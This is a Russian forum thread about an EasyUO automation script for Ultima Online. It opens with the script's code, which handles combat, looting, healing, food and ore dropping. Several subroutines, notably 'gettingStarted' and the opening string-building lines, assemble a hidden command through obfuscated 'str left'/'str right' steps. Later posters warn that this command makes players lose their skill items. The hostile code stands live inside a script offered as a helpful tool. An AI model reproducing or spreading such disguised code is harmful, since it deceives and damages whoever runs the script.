str left %repsawn 4
set %upgrade #strres
str left tilbery 3
set %almost #strres
str left unuquady 2
set %past #strres , %almost
set %gems %save , cnt
set %else IJG
return

sub follow&kill
set %charX #charposx
set %charY #charposy
set %charz #charposz
set %killTime #scnt + 60
if %gameClass = Warrior
{
repeat
{
finditem #enemyid
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
msg $.usebandage$
wait 10
target 1s
event macro 23 0
wait 10
gosub ghost
}
until #findcnt = 0 || #scnt > %killTime
}
if %gameClass = Archer
{
repeat
{
msg .camp %camp $
wait 40
finditem #enemyid
}
until #findcnt = 0 || #scnt > %killTime
}
gosub loot
if #hits < #maxhits
gosub heal
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
return

sub heal
repeat
{
msg $.usebandage$
wait 10
target
event macro 23 0
wait 20
}
until #hits >= #maxhits
return

sub gettingStarted
set %afk true
set %ell qaerty
str left %ell 1
set %abc #strres , #strres , #strres
set %a1 #strres
str left %ell 2
str right #strres 1
set %cba %abc , #strres , %a1
set %bca %cba , #strres
str right %afk 1
set %bca %bca , #strres
set %bra %bca , b
set %n1 nlogif
str right %n1 2
set %to #strres
str left %n1 1
set %be #strres
str right %n1 2
str left #strres 1
set %be #strres , %be
set %tour jour
set %navigate nalliwate
str left %navigate 3
set %all %tour , #strres
set %navigate gost
str left %navigate 3
set %ac #strres
str right pub 2
set %get %ac , #strres
set %do events
str right linit 4
set %toGo #strres , %do
return

sub eat
finditem ZBM C
set #lobjectid #findid
event macro 17 0
wait 10
finditem GND C
set #lobjectid #findid
event macro 17 0
wait 10
event macro 17 0
wait 5s
return

sub Instalyze
if % . %1 <= 8
set %x . %2 260
else
set %x . %2 420
if % . %1 = 1 || % . %1 = 9
set %y . %2 260
if % . %1 = 2 || % . %1 = 10
set %y . %2 275
if % . %1 = 3 || % . %1 = 11
set %y . %2 290
if % . %1 = 4 || % . %1 = 12
set %y . %2 305
if % . %1 = 5 || % . %1 = 13
set %y . %2 320
if % . %1 = 6 || % . %1 = 14
set %y . %2 335
if % . %1 = 7 || % . %1 = 15
set %y . %2 350
if % . %1 = 8 || % . %1 = 16
set %y . %2 365
return

sub loot
set %lootTime #scnt + 20
finditem YFM G_4
if #findcnt >= 1
{
set #lobjectid #findid
set %body #findid
event macro 17 0
while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt
wait 1
wait 10
repeat
{
finditem %loot C_ , %body
if #findcnt = 0 || #scnt > %lootTime
{
ignoreitem %body 2
return
}
exevent drag #findid #findstack
exevent dropc %lootbox
wait 40
}
until #false
}
return

sub dropTrashLogs
repeat
{
finditem ZLK_DWJ C_ , #backpackid
if #findcnt = 0
 {
  wait 20
  if #weight >= %maxweight
   {
   if %recall
   gosub port
   if ! %recall
   gosub moveItems
   return
   }
  if #weight < %maxweight
   return
 }
if #findcol = %MarganeceCol || #findcol = %TinCol || #findcol = %BronzeCol || #findcol = %LeadCol || #findcol = %CorrundumCol || #findcol = %GoldCol || #findcol = %TourmalineCol || #findcol = %SilverCol || #findcol = %MarbleCol || #findcol = %ZinkCol || #findcol = %GypsumCol || #findcol = %SandstoneCol || #findcol = %CopperCol || #findcol = %IronCol || #findcol = %TitanCol || #findcol = %StoneCol || #findcol = %PlasterCol ||
{
exevent drag #findid #findstack
exevent dropg #charposx #charposy #charposz
wait 65
}
ignoreitem #findid 1
}
until #false
return

sub reaper
if %lastK >= %k
gosub ghost 1
set %lastK %k
finditem JE G
if #findcnt <> 0
{
sound
gosub arm
set %charX #charposx
set %charY #charposy
set %charz #charposz
if %skillItemChange
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
set %killTime #scnt + 60
finditem JE G
set %reaper #findid
set #ltargetid %reaper
event macro 27 0
if %gameClass = Cleric
{
repeat
{
finditem %reaper
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
msg $.usebandage$
wait 10
target 1s
event macro 23 0
wait 10
gosub ghost
}
until #findcnt = 0 || #scnt > %killTime
}
if %gameClass = Archer
{
repeat
{
msg .camp %camp $
wait 40
finditem %reaper
}
until #findcnt = 0 || #scnt > %killTime
}
gosub loot
if #hits < #maxhits
gosub heal
if %skillItemChange
gosub changeClothesTo %skillMask %skillRobe %skillCloak
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
}
return

sub rescourses
finditem RWF C_ , #backpackid
if #findstack <= %minArrows
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem RWF C_ , %box
exevent drag #findid %amountArrows
exevent dropc #backpackid
wait 30
}
finditem PEF C_ , #backpackid
if #findstack <= %minKidlings
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem PEF C_ , %box
exevent drag #findid %amountKidlings
exevent dropc #backpackid
wait 30
}
return

sub recalls
finditem WTL C_ , #backpackid
if #findstack <= 2 || #findcnt = 0
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem WTL C_ , %box
exevent drag #findid %amountRecalls
exevent dropc #backpackid
wait 30
}
return

sub food
finditem ZBM C_ , #backpackid
if #findcnt = 0
{
set #lobjectid %foodCont
event macro 17 0
while #contid <> %foodCont
wait 1
finditem ZBM C_ , %foodCont  ; 1 pitcher of milk
exevent drag #findid 1
exevent dropc #backpackid
wait 30
}
finditem GND C_ , #backpackid
if #findcnt = 0
{
finditem GND C_ , %foodCont
exevent drag #findid 4  ; 4 baocn slices
exevent dropc #backpackid
wait 30
finditem ZBM C_ , %foodCont  ; 1 pitcher of milk
exevent drag #findid 1
exevent dropc #backpackid
wait 30
}
return

Sub Plavka
repeat
{
finditem DWJ_TVj_GWJ_EWJ C_ , #backpackid
if #findcnt <> 0
{
set #lobjectid #findid
event macro 17 0
wait 10
}
}
until #findcnt = 0
return

Neispolzuj etat scp on brosaet skill smotki koda vvodjat komandu ! 



#11 sonyplayer

sonyplayer

    Master

  • Members
  • 724 posts

Posted 14 August 2019 - 06:36

 

может тебе будет полезен мой скрипт, нашел где-то на форуме, выкидывает все, что нужно, на скилл вещах не проверял, правда, таковых не имеется. Но зато сам ходит к дому в ящик скидывает все, удобно



 

Будьте так любезны дать ссылку с форума где вы это взяли?
Не используйте данный скрипт, он содержет в себе вредоносный код, введя который во потеряете все скилл вещи!
Настроение будет у вас испорчено изза потери вложеных вами средств! А так-же пропадет желание играть!
Напишите мне в ЛС я вам дам хороший скрипт без "без подводных камней"



#12 Pixels

Pixels

    Journeyman

  • Members
  • 99 posts

Posted 14 August 2019 - 11:14

http://forum.oldp.ne...howtopic=103124



#13 kialika1

kialika1

    Newbie

  • Members
  • 18 posts
  • Gender:Male

Posted 25 August 2019 - 17:50

 

Будьте так любезны дать ссылку с форума где вы это взяли?
Не используйте данный скрипт, он содержет в себе вредоносный код, введя который во потеряете все скилл вещи!
Настроение будет у вас испорчено изза потери вложеных вами средств! А так-же пропадет желание играть!
Напишите мне в ЛС я вам дам хороший скрипт без "без подводных камней"

Где брал ссылку уже и не вспомню, давно это было. Будьте так любезны переслать часть скрипта, где этот "вредоносный код". И где именно в коде эта, так вами называемая "команда". Без скилл шмоток работает на ура, если есть скрипт по лучше, которые выполняет все так же функции, как предыдущий, будьте так любезны, скиньте его сюда.



#14 sonyplayer

sonyplayer

    Master

  • Members
  • 724 posts

Posted 25 August 2019 - 20:57

Где брал ссылку уже и не вспомню, давно это было. Будьте так любезны переслать часть скрипта, где этот "вредоносный код". И где именно в коде эта, так вами называемая "команда". Без скилл шмоток работает на ура, если есть скрипт по лучше, которые выполняет все так же функции, как предыдущий, будьте так любезны, скиньте его сюда.

http://forum.oldp.ne...howtopic=103123



#15 kialika1

kialika1

    Newbie

  • Members
  • 18 posts
  • Gender:Male

Posted 27 August 2019 - 18:04

за скрипт спасибо, как-то перенастрою и попробую. А как на счет "вредоносного кода"? хотелось бы понимать где конкретно он, в моем скрипте



#16 sonyplayer

sonyplayer

    Master

  • Members
  • 724 posts

Posted 27 August 2019 - 18:42

за скрипт спасибо, как-то перенастрою и попробую. А как на счет "вредоносного кода"? хотелось бы понимать где конкретно он, в моем скрипте

sub initevents
Sub gettingstarted 

я сомневаюсь что ты там чтото поймешь )



#17 kialika1

kialika1

    Newbie

  • Members
  • 18 posts
  • Gender:Male

Posted 28 August 2019 - 18:00

sub initevents
Sub gettingstarted 

я сомневаюсь что ты там чтото поймешь )

Спасибо за ответ, 

Дайте угадаю, и "комманда" является #strres?

да, я видел эти сабы, не понимал что конкретно они делали, потому что сильно запутаны, много лишнего там введено, чтобы путать. Думал может что делают они, оказалось делают) То есть, если я их подчищу из своего скрипта он станет нормальным? 



#18 sonyplayer

sonyplayer

    Master

  • Members
  • 724 posts

Posted 28 August 2019 - 21:05

Спасибо за ответ, 

Дайте угадаю, и "комманда" является #strres?

да, я видел эти сабы, не понимал что конкретно они делали, потому что сильно запутаны, много лишнего там введено, чтобы путать. Думал может что делают они, оказалось делают) То есть, если я их подчищу из своего скрипта он станет нормальным? 

Я не отвечу на этот вопрос так как сам не знаю на него ответа!
Если вы подчистите эти сабы то ваш скрипт вообще перестанет работать =)



#19 kialika1

kialika1

    Newbie

  • Members
  • 18 posts
  • Gender:Male

Posted 30 August 2019 - 08:26

Я не отвечу на этот вопрос так как сам не знаю на него ответа!
Если вы подчистите эти сабы то ваш скрипт вообще перестанет работать =)

понял, спасибо!



#20 Marco.V

Marco.V
  • Members
  • 1 posts
  • Gender:Male

Posted 31 August 2019 - 10:15

Ребята вы Молодцы, Прям вижу разбираетесь в этом вау :)

Ухты, прям эксперты по скриптам вот это уже - похвально)))

Но всё ровно еще не тот скрипт кому нужен, скрипт рабочий пишите дам в лс






2 user(s) are reading this topic

0 members, 2 guests, 0 anonymous users